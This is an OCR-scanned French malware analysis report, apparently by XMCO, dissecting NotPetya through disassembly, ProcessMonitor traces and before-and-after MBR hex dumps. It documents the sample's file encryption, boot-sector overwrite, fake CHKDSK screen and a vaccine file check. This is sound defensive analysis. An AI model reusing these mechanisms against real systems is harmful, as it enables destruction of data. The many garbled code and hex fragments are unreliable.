Capture d'écran de données textuelles dans la partie .rdata du malware gui contient les extensions a chiffrer

La présence conjointe de fonctions cryptographiques et d’'une liste d'extensions de fichiers laisse supposer
gu’une partie des fichiers utilisateur sont chiffrés lors de l'infection. Il est probable que le malware ait au moins
deux fonctionnalités malveillantes : d'une part le chiffrement de données utilisateur et, d'autre part, une modifi-
cation de la séquence de démarrage du systeme.

En parcourant la liste des chaines remontées, nous découvrons une nouvelle chaine suspecte dans .rdata (cf
tableau partie 1.1).
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.rdata:18818AEC ; const WCHAR aReadmeTxt

.rdata:18818AEC aReadmeTxt: ; DATA XREF: sub 18881D32+2Fto
.rdata:18818AE text "UTF-16LE™, 'README.TXT',@
.’da*a laaleBa2 allgn 8

Capture d'écran de donnees textuelles de la section rdata du binaire mentionnant la chalne de caractéres READI\/\E
XT»

Nous supposons que, lors de I'exécution du malware, des données sont écrites dans un fichier README.TXT, par
exemple, une note de rangon pour les documents chiffrés au cas ou le blocage au niveau de la séquence de dé-
marrage (écran de rangon) soit contourné.

En reprenant notre analyse des appels de fonctions dans la vue Imports, nous remarquons des fonctions réseau
(voir capture d’écran) ainsi que des fonctions de manipulation de fichiers (non montrées).

QQQ00aa.., DhcpRpcFreeMemory DHCPSAPI
QoQoaaa. .. DhcpGetSubnetinfo DHCPSAPI
QoQoaaa. .. DhcpEnumSubnets DHCPSAPI
%=| 0000000... DhepEnumSubnetClients DHCPSAPI
QoQoaaa. .. GetlpMetTable IPHLPAPI
QoQoaaa. .. GetAdaptersInfo IPHLPAPI

i o

Capture décran de la vue Imports d'IDA mettant en évidence I'appel a des fonctions réseau de I'API Windows

A ce stade, nous avons plusieurs hypothéses concernant l'usage de ces fonctions :
+  Propagation du malware ;

+  Réception d’'un ou plusieurs payloads ;

+  Réception d'instructions de la part d'un serveur command-and-control ;

+  Export d’'une clé de chiffrement pour la rancon.

Il estimpossible de formuler des hypotheses solides sur la raison d’étre des fonctions de manipulation de fichiers
tant les possibilités d'usage sont vastes. Cependant, leur présence est cohérente avec I'hypothése de chiffrement
de fichiers utilisateur.

« Notre réflexe suivant est d’aller observer la vue Imports d’ IDA qui liste les appels de
fonctions de bibliothéques externes au programme analysé. Cela nous permettra, a peu de
frais, d’avoir une premiére idée des fonctionnalités du malware. »

La suite de I'analyse statique requiert de regarder en détail des pans du code assembleur du malware. Nous avons
deux options :

1. Tenter de reverse le fonctionnement du malware a partir du début du programme ;

2. Rebondir a partir d’'une chaine de caracteéres suspecte du malware.

Un premier parcours rapide de I'assembleur permet d’identifier un possible vaccin

Nous commencons par parcourir rapidement la fonction principale dans la vue en graphe d'IDA (représentation
en graphe du code assembleur permettant une meilleure lisibilité), nous allons directement regarder le code de
la premiere fonction interne appelée. Certaines parties de la fonction sont déja annotées automatiquement par
IDA.

En effet, lorsqu’une fonction fait appel a des fonctions d’API standard, IDA est capable d’annoter automatique-
ment le code désassemblé avec des extraits de la documentation de ces APlIs.

Nous parcourons le code de l'exécutable jusqu'a trouver une fonction interne avec un graphe simple. Nous
5o constatons qu’un fil d’exécution de cette fonction meéne a la fin prématurée de I'exécution du malware.

‘ XM Com] Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



NotPetya

Méthodologie d'analyse

SRORRRORT

L'analyse détaillée de cette fonction devient nécessaire et prioritaire, car cela pourrait révéler une méthode de
mitigation si un chemin d'exécution aboutit a une interruption précoce du processus malveillant.

il
SONEH0N 1 ABaBE5E
DO 0RaR35E e . . .
BBRBRBELRBAEISE | Attributes: bp-b
soooeoRaoves3se «: v Gréation du chemin cible
GEHEMOMILAMEEISE Check_already_Infected proc near
BBEa0801B8AE35E
Doaeaoaa]pBaRsSE psrfaths word ptr -&18h
DRG] BRaE35E
BB0EeEBELBBAEISE push  ebp
SHISI0aa1080E35F mov ebp, esp
DRG] FBAEI6] sub &ap, E1Eh
TeSt de BROBRDRA1PBAE3ET push 'lnfd.r C ntn
. SHIS0D0R1R0AE3EE lea eaw, [ebptpszFath
'existence d’'un DL — pezDest ontinuée
RGO BORIEF _wor
1 1 MIHHH&
flChler SRR BMAEI TG tex AN, eAx
000108083 TE I shart loc_le@as3el
| —
[l e 2
SOOeReNa 108083 A lea eax, [ebptpszPath]
MO 1 AE3EE push aan i pstPath
BE0RBBEA1S8a838] call ds:PathFileExistsl
EOS3030 10808387 push (151 } uExitCode
SRR 10MAE3EE test aK, =AX
BRMHR000 1B 3RA jnT short loc_lB@ea3es
| |
L ]
=]
ABdedteh i dwf lagsdndattributes SORODON 1HaE 5Ba
2 3 twCreationDispasitien SRR BEE30E loc_1GeHERIRE:
esi ¢ lpsecurityartributes ERGEMRA1BRAEZES call  dsiExitProcess
esi § dwSharefiode BeE0ERBE10808385 Check_already_Infected endp
LRGN H i twhesirediccess Gadadoaalogal 1BG
sax, [ebpepszPath]
= i lpFilelame
dsiCreaterileld
BCH, BCX
eaw, BFFFFFEFFh . . . . n
@ Si le fichier existe, arrét
esl, ecx
1
e du processus
Si le fichier T

PLeB0B3EL loc_1@es3l:

nosenins o i |=—— Retour au main
168083084 leawve
FALOBOEIRS retn

n’existe pas, il
est généré

Annotation fonctionnelle d'un extrait du code assembleur pouvant étre détourné en vaccin

La lecture du code assembleur de cette fonction nous permet d'affirmer I'existence d’un vaccin. En effet, un vac-
cin est un mécanisme préventif permettant d'immuniser une machine a un malware eny plagant par exemple un
fichier, une clé de registre ou un processus que le malware va identifier comme une trace d’infection de sa part,
le menant a interrompre sa séquence d'actions malveillantes.

En effet, comme le montre I'annotation du code assembleur, si un fichier est présent sur le systéme, le processus
du malware s'arréte.

Il est probable qu’une vaccination du reste du parc informatique soit possible.

Si I'ttude de la possibilité d’'un vaccin a été rapide, il n‘est pas possible, dans un contexte de crise, d'investiguer
une par une les fonctions appelées dans le malware. En effet, dans ce genre de situation, le temps presse et nous
devons choisir certaines parties semblant pertinentes, en nous appuyant, par exemple, sur les données trouvées
tout au début de I'analyse statique. I
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Linvestigation des extensions de fichiers révéle le processus de chiffrement des fichiers locaux.

Lors de la premiere passe d'investigation, nous avons identifié une liste d’extensions de fichiers. La fonctionnalité
de référencement croisé dans IDA (xref) permet d’identifier les utilisations d’'une donnée ou d'une fonction au
sein du code désassemblé.

Cette fonctionnalité nous a permis de trouver I'utilisation de la liste d’extensions de fichiers au sein d'une fonc-
tion.

Notre hypothese était que cette liste d'extensions est utilisée pour du chiffrement de fichiers utilisateur. Nous
devons donc vérifier deux points :

« Lexistence d'appels a des fonctions cryptographiques ;

« Lexistence d'une notion de traversée du systéme de fichiers.

Pour mieux comprendre le contexte, nous regardons les conditions menant a l'usage de la chaine d'extensions
dans cette fonction. Nous remarquons la présence de tests sur des attributs de fichiers qui peuvent étre traduits
par le pseudo-code suivant.

filename = get filename () ;

if (is_directory (filename) == False || 1s symlink (filename) == True) {
do stuff (list extensions) ; // Fonction a élucider

}

else if (find pattern(“C :\Windows”, filename) == False) {
do recursion() ;

Lobservation de cette fonction nous laisse penser qu'il s'agit d’un parcours récursif du systeme de fichiers qui a
pour but de détecter des fichiers ou des liens symboliques qui ont une extension spécifique.

Parcours du disque compromis

L'élément est-il un RO

fichier ou un lien % AAAAAAAAAAAAAAAAAAA

symbolique ?

dans son chemin ?

Non \L
& L'élément contient-il  C\Windows

Les indices laissant penser a un parcours du systéme de fichiers que nous observons au sein du code sont :
« Lagénération d'un chemin contenant un wildcard ;

« Le départ de boucle lors de la récupération d’'un premier fichier dans une liste ;

« Laprésence de boucles internes traitant a part le dossier courant et le dossier parent.

Enfin, il semblerait que le dossier C \Windows soit ignoré par le traitement.

S'ily a une étape de chiffrement de fichiers spécifiques, il est probable qu'elle ait lieu juste aprés 'utilisation de la
chaine d'extensions. Or, une fonction do_stuff() est appelée peu avant la fin de la fonction.
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18881913 push ebx ; dwBuflLen
18681914 lea eax, [ebpt+lpFileName]
188081917 push eax ; pdwDatalen
188081918 mov eax, [ebptarg 4]

18881918 push edi ; pbData
1888191C push esi ; dwFlags
18881910 push [ebp+Final] ;3 Finmal

18801928 push esi ; hHash

¥
18881921 push dword ptr [eax+l4h] ; hKey
18881924 jcall ds:CryptEncrypt
18881928 test eax, eax
1888192C jz short loc_18681933

Extrait du code de do_stuff() avec appel a CryptEncrypt

Le parcours de do_stuff() révele I'appel a une fonction cryptographique qui prend en paramétre :
« Unnom de fichier depuis le contexte de la fonction appelante;
«  Uneclé.

Lhypothése d’'un parcours du systéme de fichiers par le malware avec chiffrement des données qui exclut les
fichiers systéme devient donc trés forte.

Parcours du disque compromis

L'élément est-il un JEON

funcO % fichier ou un lien %

symbolique ?

dans son chemin ?

Non \|/
/K L'élément contient-il  CA\Windows

La question du type de chiffrement et de la présence, ou non, d’une clé unique pour tous les postes infectés se
pose donc.

Nous remontons le contexte a la recherche d'appels a des fonctions cryptographiques. Nous identifions une
fonction (sub_10001B4E), qui génere une clé (appel a CryptGenKey de I'API Windows).
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Algid = 660E
=> AES 128 bits

nush 66OEh

call ds:CryptGenKey

Extrait de code assembleur mettant en évidence une génération de clé AES 128 bits dans sub 10001B4E a chaque
nouvelle infection

Cette fonction génére, a chaque nouvelle infection, une clé AES 128 bits qui est passée dans le contexte de la
fonction de parcours de fichiers. Le chiffrement de fichiers, qui utilise cette clé, est donc effectué par une nouvelle
clé générée a chaque infection.

Parcours du disque compromis
L'élément est-il un \/
h —% fichier ou un lien G O

symbolique ? o

L'¢élément contient-il  C\Windows
Non - dans son chemin ?

De plus, le retour au contexte nous apprend que la clé générée est détruite immédiatement aprés le chiffrement.

Création dela clé
AES 128 bits
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call ds:CryptDestroykey

Suite exécution

Extrait du code assembleur mettant en évidence la destruction de la clé générée (dans sub 10001B4E)

En conséquence, il apparait que :

« le malware parcourt le systeme de fichiers récursivement ;

« le malware chiffre des fichiers et des liens symboliques en épargnant C \Windows ;
« laclé de chiffrement n'est a priori pas récupérable.

« Parfois, nous n’avons pas le temps de conduire une analyse statique détaillée. Malgré
tout, il est nécessaire d'obtenir au plus vite des informations sur le fonctionnement du
malware afin d’établir des loC fiables. Ces loC vont nous permettre d’établir le périmétre
compromis. »

Apres s'étre familiarisé avec le malware et avoir dégrossi certains de ses mécanismes, il est clair qu'il n'est pas
raisonnable d'envisager de comprendre l'intégralité de son fonctionnement en n'utilisant que des techniques

d’analyse statique.
Parcours du disque compromis
O
L'élément est-il un [N
% func( % fichier ou un lien % Za\/o —% he

symbolique ? O
E Destruction de la
Chiffrement clé AES

Création de la clé
AES 128 bits

son chemin ?

Non J/
K L'élément contient-il C:AWindows dans
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> Observer le comportement du malware : I'analyse dynamique
Parfois, nous n‘avons pas le temps de conduire une analyse statique détaillée. Malgré tout, il est nécessaire d'ob-
tenir au plus vite des informations sur le fonctionnement du malware afin d’établir des loC fiables. Ces loC vont

nous permettre d'établir le périmétre compromis.

Une maniére efficace de savoir ce que fait concretement un programme est de l'exécuter.

loC/Indicator of Compromise : Artefacts systémes ou réseaux permettant de confirmer l'infection d'un poste par
un malware ou groupe spécifique.

Analyse dynamique : ensemble des procédés permettant de comprendre le fonctionnement d’un programme
et d'en déduire des artefacts caractéristiques via une exécution sur le systeme.

Préparations et précautions

Nous reprenons donc I'une des souches du malware découvert par les analystes. Lobjectif va étre d'exécuter ce
binaire dans un environnement confiné afin d'analyser son comportement.

Nous savons qu'un grand nombre de postes du systeme ont été infectés. Cela peut étre symptomatique de I'un

des cas suivants :

«  Un compte d'administrateur s'est fait compromettre et I'attaquant utilise les droits associés pour déployer
son code malveillant;

« Lapplicatif de déploiement de parcs est compromis ;

» Le malware est un ver c'est-a-dire qu'il posséde un mécanisme lui permettant de se propager de machine en
machine sans interaction utilisateur.

De ce fait, dans I'éventualité ou la troisiéme théorie serait avérée, certaines précautions sont a prendre afin d'évi-
ter que le malware se propage hors de I'environnement d'analyse.

Pour ce faire, nous allons utiliser deux postes Windows 7 qui seront sur un méme réseau interne virtuel. Cette

configuration permettra aux postes de communiquer entre eux et d'observer la propagation du malware sans
risquer de contaminer un poste extérieur.

RESEAU-INTERNE-VBOX-01
Poste 172.16.76.0/24

m analyste

WIN-RAT11MT4UVMU
172.16.76.131

g »
<
A

172.16.76.133

re
OC)—O Internet — WIN-VOQTG734GPK
Fl-

Ce laboratoire d'analyse basique posséde 2 types de machines : un poste bureautique et un poste d’administra-
tion.

‘ XM Com] Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



NotPetya

Méthodologie d'analyse

Apport de I'étude de l'interaction du malware avec le disque

L'analyse des interactions d’'un malware avec le systeme victime est riche en informations cruciales pour I'élucida-
tion de son fonctionnement. Afin d'enregistrer les interactions, nous utilisons l'outil ProcessMonitor.
ProcessMonitor : outil fourni par Microsoft permettant d'enregistrer les interactions d'un processus avec le sys-
téme hote.

Le malware interaqgit avec le disque dur

Nous nous focalisons dans un premier temps sur les interactions avec le disque dur.

| S\ DeviceloControl  \Device\Harddisk0\DRD Cortrol IDCTL_DISK GET_PARTITION_INFO_EX

\Device\Harddisk0\DRD

B ViteFle Offset: 0, Length: 512,
IEW Offsel: 512, Lengih: 512

B\ WiteFle Offsel: 1 024, Length: 512,

Capture de ProcessMonitor mettant en évidence une écriture sur le disque, hors du systeme de fichiers

Il apparait que des secteurs d'amorcage sont écrasés avec succes par le malware.

Secteur : Plus petite unité physique de stockage. Un disque est divisé en plusieurs secteurs dont la taille est
traditionnellement de 512 octets.

L'analyse des acces en écriture du malware montre :
- une réécriture des secteurs 0 a 18 (les fleches montrent les secteurs0a 2) ;
« une réécriture des secteurs 31 a 34 (non visible sur l'extrait).

MBR/Master Boot Record : Partition permettant 'amorcage du systéme. Elle contient la premiére partie du boot-
loader, la table de partitions et termine par le nombre magique 0xAA55. Ce dernier est contenu sur le secteur 0
du disque, au minimum sur les 512 premiers octets.

Nous pouvons en conclure que le malware réécrit le MBR ainsi que d'autres secteurs du disque (1 a 18 puis 32 a
34).

Il est possible d'effectuer des vidages disques (dumps), grace a Hxd (outil nous permettant de récupérer le conte-

nu brut de secteurs du disque dur), des premiers secteurs du disque avant et apres infection afin d'observer les
différences entre les secteurs ré-écrits.
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Offset(h) 00 01 02 03 04 05 06 O7 08 09 OA OB OC OD OE OF Texte Décodé

000000000 |B3 Co 8E DO BC 00 7C SE CO SE D& EE 00 7C BF 00 | 3AZpt. |ZA%@%. |¢. Secteur 0
000000010 |06 E2 00 02 FC F3 A4 50 68 1C 06 CE FE E9 04 00| .*..uduPh..Edz..
000000020 |BD EE 07 80 7E 00 00 7C OB OF 85 OE 01 83 C5 10| *%.€~..|......f5&. Premieéere

000000030 |E2 F1 CD 18 88 56 00 55 C6 46 11 05 C6 46 10 oo | anf. v.UEF..EF..
000000040 |[B4 41 BB BAA 55 CD 13 5D 72 OF 81 FB 55 A& 75 03| “A»2Ui.]r..aus
000000050 JF7T C1 01 00 74 03 FE 46 10 66 &0 80 TE 10 00 74 :
000000060 |26 66 68 00 00 OO0 00 66 FF 76 08 &8 00 00 &8 0O
0000000TO | 7C &8 01 00 68 10 00 B4 42 84 56 00 8B F4 CD 13
000000080 | 9F 83 C4 10 SE EE 14 BE 01 02 BB 00 7C 82 56 00
000000090 J8A 76 01 SR 4E 02 84 6E 03 CD 13 66 61 73 1C FE N.35n.I.fa=.p
0000000RD J4E 11 75 OC BO 7E 00 B0 OF &84 BA 00 B2 80 EB & u.€~.€.,.5.%€8,,
000000080 |55 32 E4 8A 56 00 CD 13 5D EB 9E 81 3E FE 7D 55| Uzadv.i.1&z.:pb3i0
0000000C0 |AR 75 6E FF 76 00 E8 8D 00 75 17 FA BO D1 E6 64 | *univ.&..u.0°N=d
0000000D0O |E8 23 00 BEO DF E€ &0 EE 7C 00 BO FF E6 &4 EB 75| &f.°Re"&| . "yadén
D0000COEQ |00 FE BB 00 BE CD 1A 66 23 CO 75 3B 66 81 FB 54| .4, .»1.f#Au;f.4T
0000000FD |43 50 41 75 32 81 F9 02 01 72 2C &6 &8 07 BE 00| CPAuZ.4..r,fh.=.
000000100 J 00 &6 68 00 D02 00 00 66 &8 0B 00 OO 00 €6 53 66| .fh....fh....£f5Ff
000000110 |53 66 55 €6 o8 00 00 OO0 00 66 €8 OO 7C 00 00 @6 | S5fUfh....fh.|..I

/ partie
Qt bootloader

000000120 |61 &8 00 00 O7 CD 1A S5A 32 Fe EA 00 7C 00 00 CD| ah...i.zza&.]..1
000000130 J18 20 BT 07 EB 08 AD B6 07 EB 03 RO BS 07 32 E4) . -.&. 9.&. n.238
000000140 |05 00 07 8B FO AC 3C 00 74 09 BB 07 00 B4 OFE CD| ...¢&<.t.n.. . F

000000150 |10 EE F2 F4 EB FD 2B C9 E4 64 EB 00 24 02 E0 F8 | .éndeéy+Eads. s A
000000160 |24 02 €3 49 6E 76 &1 &C 69 64 20 70 &1 72 74 &9 | &.AInvalid warti
000000170 |74 62 6F 6E 20 74 &1 62 &C 65 00 45 72 72 &F 72 | tion tablg.Error
000000180 |20 6C 6F 61 &4 62 E &7 20 6F 70 &5 72 61 74 63| loading operati
000000190 |6E &7 20 73 79 73 T4 &5 €D 00 4D &9 73 73 &9 6E | ng syslem.Missin Nombre
000000140 |67 20 6F 70 &5 72 &1 74 69 6E 67 20 73 79 73 74| ¢ operating syst

0000001B0 65 6D 00 00 00 63 TB 94 TF 2C B6 63 00 00 80 20| eph..c{d.,dIc..€ magique
0000001C0 |21 00 07 FE FF FF 00 08 00 00 00 FO 7F 07 00 00 .. MBR
000000100 |00 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 vuoeve oo renenns
0000001E0 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2™ v v vnnenns
0000001F0 |00 00 00 00 00 00 00 00 00 00 00 00 00 oo|fss o |®™& ... .......... U=
Dump par HxD du MBR avant le lancement du malware

Offsec(h) 00 01 02 03 04 05 06 07 O0F 02 OA OB OC OD OE OF Texte Décodé

000000000 |FA 31 CO SE D8 2E DO EE CO ©D 26 00 7C FE 66 58 | H1Aiginfh.c.|af, Secteur 0
000000010 |20 00 00 00 B8 16 93 7C €6 EE 01 00 00 00 B9 00 e I F = U

000000020 |80 ES 14 00 66 45 66 23 F8 00 75 F5 66 L1 00 50| €&..fHffe.udf;.<

000000030 |ER 00 80 00 00 F4 EB FD 66 50 66 31 CO 52 56 57| &.£..468¢EPE1ARVH

000000040 | 66 50 66 53 B9 E7 66 50 66 53 06 51 6A 01 6A 10| fPESwGEPES.Qj.7.

000000050 |89 E6 8A 16 93 7C B4 42 CD 13 89 FC 66 5B 66 58| med.™ | 'Bl.muf[fX

000000060 |73 02 S0 30 E4 CD 13 58 EB D6 66 23 C3 01 66 83| =.P0ai.Xe0fFR. £

000000070 | DO 00 81 C1 00 02 73 07 8C C2 80 C& 10 8E C2 SF| B..A..s.EheE.ZA

000000080 | SE SR 66 S8 C3 &0 B4 OE AC 3C 00 74 04 CD 10 EB "Z"fx."h“.—rC.t.i.é Premiere
000000090 | F7 &1 C3 00 00 00 00 00 00 00 00 00 00 00 00 00| = )
000000020 |00 00 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 partle
0000000E0 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000000CO |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bootloader
000000000 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000000E0 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000000F0 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O

000000100 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

000000110 |00 00 00 00 0O 00 00 00 00 00 00 00 00 00 00 0O

000000120 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

000000130 |00 00 00 00 0O 00 00 00 00 00 00 00 00 00 00 0O

000000140 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O

000000150 |00 00 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00

000000160 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vvvevunennn

000000170 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vvvvueeve/ounnnn

000000180 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vvvewen lunnnnn

000000190 |00 00 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 Nombre
000000120 Q0 00 00 00 00 Q0 00 00 00 00 00 00 00 00 00 0O .
0000001E0 00 00 00 00 00 00 00 00 T7F 2C B& 63 00 0080 20 magique
0000001C0 |21 00 07 FE FF FF 00 08 00 00 00 FO 7F 07 00 00 MBR
000000100 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000001E0 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000001F0 |00 00 00 00 00 00 00 00 00 00 00 00 00 00

Dump par HxD du MBR apres le lancement du malware

La premiere constatation est que la table des partitions (en jaune) n'est pas altérée par le malware.
La deuxiéme constatation est que le code de la premiére partie du bootloader (en rouge) apres réécriture par le
malware est beaucoup plus court, donc beaucoup plus simple.
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Il est probable que cette partie de bootloader serve exclusivement a accéder a une autre portion de code stockée
dansles secteurs 1 a 18 ou 32 a 34. Ces secteurs sont probablement une sorte de mini-noyau utilisé pour effectuer
les actions observées aprés le redémarrage de la machine infectée :

1.

Afficher la progression de CHKDSK (utilitaire Windows permettant entre autres la réparation d'erreurs pré-
sente sur le disque) ;

Et les éventuelles actions menées pendant le temps d'affichage ;

Afficher la note de rancon.

Nous parcourons les secteurs réécrits a la recherche de mention de CHKDSK dans le dump obtenu par HxD.

Repairing file
system on C:
The type of
the file =system
iz NTF5... One
bf your disks co
htains errors an
i need=s to be re
baired. This pro
Cess.. may take
zeveral hours t
b complete. It i
F strongly recom
mended to let it
complete. ...
WARNING: DO H
T TUEN COFF YCOUR
BC! IF YCU ABCR
E THIS PROCESS,

o0 COULD.. DES
ROY ALL CF YCOUR
DATH! PLEASE EN
FURE THAT YCOUR P
CWER CABLE IS5 PL
OGGED.. IN'....

CHEDSE is re
bairing sector..

Plea=se reboot vo
ur computer!.. D
ecrypting sector
...... Coops, vyo
nr important f£il
=25 are encrypted
...... If vou =e
2 this text, the
n your files are
no longer acces
=zible, because t
hey.. have been

Message
CHKDSK

Secteur 15

Chaines de caractéres contenues dans les secteurs 14 et 15 réécrits par le malware

Il est donc clair que le message de CHKDSK est généré par le malware (voir figure au-dessus). Cela lui permet cer-
tainement de dissimuler une autre action malveillante au cours du premier reboot de la machine infectée.
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bD FE 08 D5 78 ED &3 72 CE CC 82 15 9F BT AS &6 A.0Oxicrll, . ¥ -¥f Secteur 32
85 AC BF EBE 39 FF F3 4D 48 A4 FC 3A BB EC 73 A |.~;E0VoMHEG:»iz«
B’ H H R 4D TR 3 e M. we S081M=T153
4LC_9n.t_|.en_t Le.wallgtupltg_otn_ 31 74 37 32 6D 47 |HMuxXTuRZ2R1t78m&
53 64 TA 61 41 74 4E &2 42 57 58 00 00 00 00 00 |S5dzaBAtWLBWX.....
00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 @ 4usewwnssannnsas
00 00 00 00 00 OO0 00 OO0 00 00 00 OO0 00 00 Q0 00 4. ewewrrwnnnsss
00 00 00 00 00 00 00 OO0 00 00 00 OO0 00 00 00 00 wuvewwnssannnnas
00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 @ wuwewwnssannnsss
00 00 00 00 00 00 OO0 00 00 OO0 0O OO 00 OO0 QO 0O

00 00 00 00 00 00 00 00 00 31 50 66 31 31 35 73 |.ivieewuens 1Pfl1l5s
36 4 66 61 4E 4E 43 | 6FVAAZZiwnKfaWNC
45 To fZ2 4C eE 39 fU bE 4E &b 65 39 €200 41 75 |EprLnSpnNfeSbpiu
35 44 6A 57 4B 51 61 &4 &7 4C 46 51 37 35 46 9 SJjWEQadgLEFR75FL
35 61 42 70 51 00 00 OO0 00 OO0 OO OO 00 OO0 Q0 00 |SEABDQ..:iessers
00 00 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 o eeeerrannnnss
00 00 00 00 00 00 00 OO0 00 00 00 OO0 00 00 00 00 wuvewwnssannnnas
00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 @ wuwewwnssannnsss

Contenu pertinent du secteur 32 apres infection

L'analyse du secteur 32 révéle qu'il contient le wallet Bitcoin ainsi que la personnal installation key (comparaison
avec la note de rangon au 2éme redémarrage).

Le malware réécrit le MBR, empéchant ainsi le redémarrage normal des machines infectées. Il réécrit également

d’autres secteurs lui permettant de simuler un CHKDSK, probablement pour effectuer d’autres actions malveil-
lantes.

Le malware parcourt le systéme et réécrit certains fichiers

A I'aide de ProcessMonitor, nous pouvons également identifier les manipulations de fichiers.
Il apparait que le malware effectue un parcours récursif du systeme de fichiers qui commence a la racine du sys-

téme.

PID Operation Path Resutt
696 BhCreateFile C, . ) . SLICCFSS
poe o= Point d’entrée du parcours Parcours sous-dossier
696 [ShCreateFile C-\&Recycle Bin SULLESS
SUCCESS

&96 Q\Quermeectory
696 Hh

C: \SF{ecyde Bm\‘

Sous-dossier parcouru

696

696 en entier, remontée

696 SULLESDD

696 NO MORE FILES

£56 CloseFi C | SUCCESS

656 Ej. CluenyUirectory  C\SHecycle Bin NO MURE FILES

696 [ﬂ-OoseFile C:v$Recycle Bin SUCCESS

636 SUCCESS

696[ edlerie “wBoot clmeres

696 Ej.aueryniredory C:\Boot*

696 [h.QueryDirectory | C:\Boot

696 ShCreateFie C\Boot'csCZ

696 =hQueryDirectory | C:\Boot'cs-CZ\"

696 [ZhQueryDirectory | C:\Boot'cs-CZ SUCCESS

696 [h.QueryDirectory | C:\Boot'cs-CZ NO MORE FILES

696 BhCloseFile C\Boot\os CZ SUCCESS

696 =hCreateFile Bt e . SUCCESS

69 BhaueyDrectory | cB ldem pour les autres dossiers SUCCESS

&96 Q\QueryDirectory C:M\Boot'da-DK SUCCESS

696 BhOuenyDirectory | C:\Boot'da-DK NO MORE FILES

696 =k CloseFile C:\Boot'da-DK SUCCESS

696 ZhCreateFile C\Boot'de-DE SUCCESS

696 Sh.QueryDirectory | C:\Boot'de-DE\* SUCCESS

696 Bu@ueryDiredory C:\Boot'de-DE SUCCESS

696 =hOuenyDirectory | C:\Boot'de-DE NO MORE FILES

696 hCloseFile C\Boot'de-DE SUCCESS

696 [ShCreateFile \Boot'el-GR SUCCESS
ueryLirectory “Boot

696 BhQuenyDi C\Boot'el-GRA" SUCCESS
uerylirectony “\Boot

696 =hCueryDi C\Boot'el-GR SUCCESS
ueryDirectary “\Boaot

696 =hQueryDi C\Boothel-GR NO MORE FILES

696 ShCloseFils C:\Boot'el-GR SUCCESS

696 hCreatefile C\Boot'en-US SUCCESS

696 BhOuenyDirectory  C:\Booten-US\" SUCCESS

696 BhQuenDirectory  C:\Boot'en-US SUCCESS

696 BhOuenDirectory  C:\Boot'en-US NO MORE FILES

696 ShClossFie C:\Boot'en-US SUCCESS

Manipulation de fichiers évocatrice d'un parcours récursif du systéme de fichiers
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SRR

Nous remarquons également que certains fichiers sont accédés en lecture et en écriture lors du parcours récursif
de l'arbre.

696 4i NO MORE FILES I

696 SUCCESS

696 SUCCESS Desired Access: R...

696 A SUCCESS Fitter: =, 1: .

656 =hDuenyDirectory  C:\Program Files\|DA Freeware iﬂ Entree dans un SUCCESS 0., 1:cfg, 2: clpé...

696 BCreateFle C:\Program Files'IDA Freewars lD\cfg nouveau dOSSIGr SUCCESS Desired Access: R...

696 GQuenyDirectory  C:\Program Files\|DA Freeware a'’ ‘ SUCCESS Filter: =, 1: .

696 =MCueryDirectory  C:\Program Files\|DA Freeware 7 0\cfg SUCCESS 0 ... 1: exceptions. ..

696 ShCreaterle LAProgram Files\DA Freeware T.ﬂ\d’g\emﬂions.dg SUCCESS Desired Access: G...
QuenyStandard|...C:\Program Files\|DA Freeware 7.0cfg'exceptions.cfg SUCCESS AlocationSize: 8 1...

_..CMProgram Files\|DA Freeware 7.0\cfg‘exceptions cfg
...CA\Program Files\|DA Freeware 7 0\cfg\exceptions cfg
...C\Program Files\|DA Freeware 7 0\cfg\exceptions cfg
...CMProgram Files\|DA Freeware 7.0Ncfo‘exceptions.cfg
C:M\Program Files' DA Freeware 7.0hcfg'\exceptions cfg
CProgram Files\|DA Freeware 7 ['cfo'\exceptions cfg
C\Program Files'DA Freeware T.ﬁ\d’g\emceptions.dg
C:\Program Files\DA Freeware 7.00zfg\ida.cf
...CMProgram Files\|DA Freeware 7.0\cfgtida.cfg
...CA\Program Files\|DA Freeware 7.0cfghida cfg
...C\Program Files\|DA Freeware 7.0Mcfgida.cfg
_..CProgram Files\|DA Freeware 7.0M\zfg\ida.cfg
...CMProgram Files\|DA Freeware 7.0\cfgtida.cfg
CProgram Files\|DA Freeware 7.0'cfgtida ofg
C*\Program Fileg\|DA Freeware 7.0cfghida.cfg
C:\Program Fles\l DA Freeware 7.0Mzfghida cfg
7 0\cfq'ida.cf

c'\ngmm P DA P 7 Dcfgrida ofg
(0% \Progrclrn Fileg"DA Freeware 7. D\d’g\udagm cfg

C “Program Files\|DA Freeware 7. D\d’g\ldagm cfg

_.CMProgram Files\|DA Freeware 7 0\cfghidagui ofg
...C:\Progrclrn Fileg"DA Freeware 7.0hcfg\idagui.cfg
_..CProgram Files'\|DA Freeware 7.0Mzfg\idagui cfg
C:A\Program Files\|DA Freeware 7 [hcfghidagui.cfg
CProgram Files\|DA Freeware 7 0'fg\idagui cfg
[o% \Progrclrn Fileg"/DA Freeware 7. D\d’g\udagm cfg

C.\P |
C:\Program Fles\l DA Freeware 7.00dc

tSUCVINMECTON L AFTOQrarn Flies WA PIeeWare 7O

o

FILE LOCKED WI...

SyncType: SyncTy...

SUCCESS AllocationSize: 81...
SUCCESS EndCfFile: 7 208
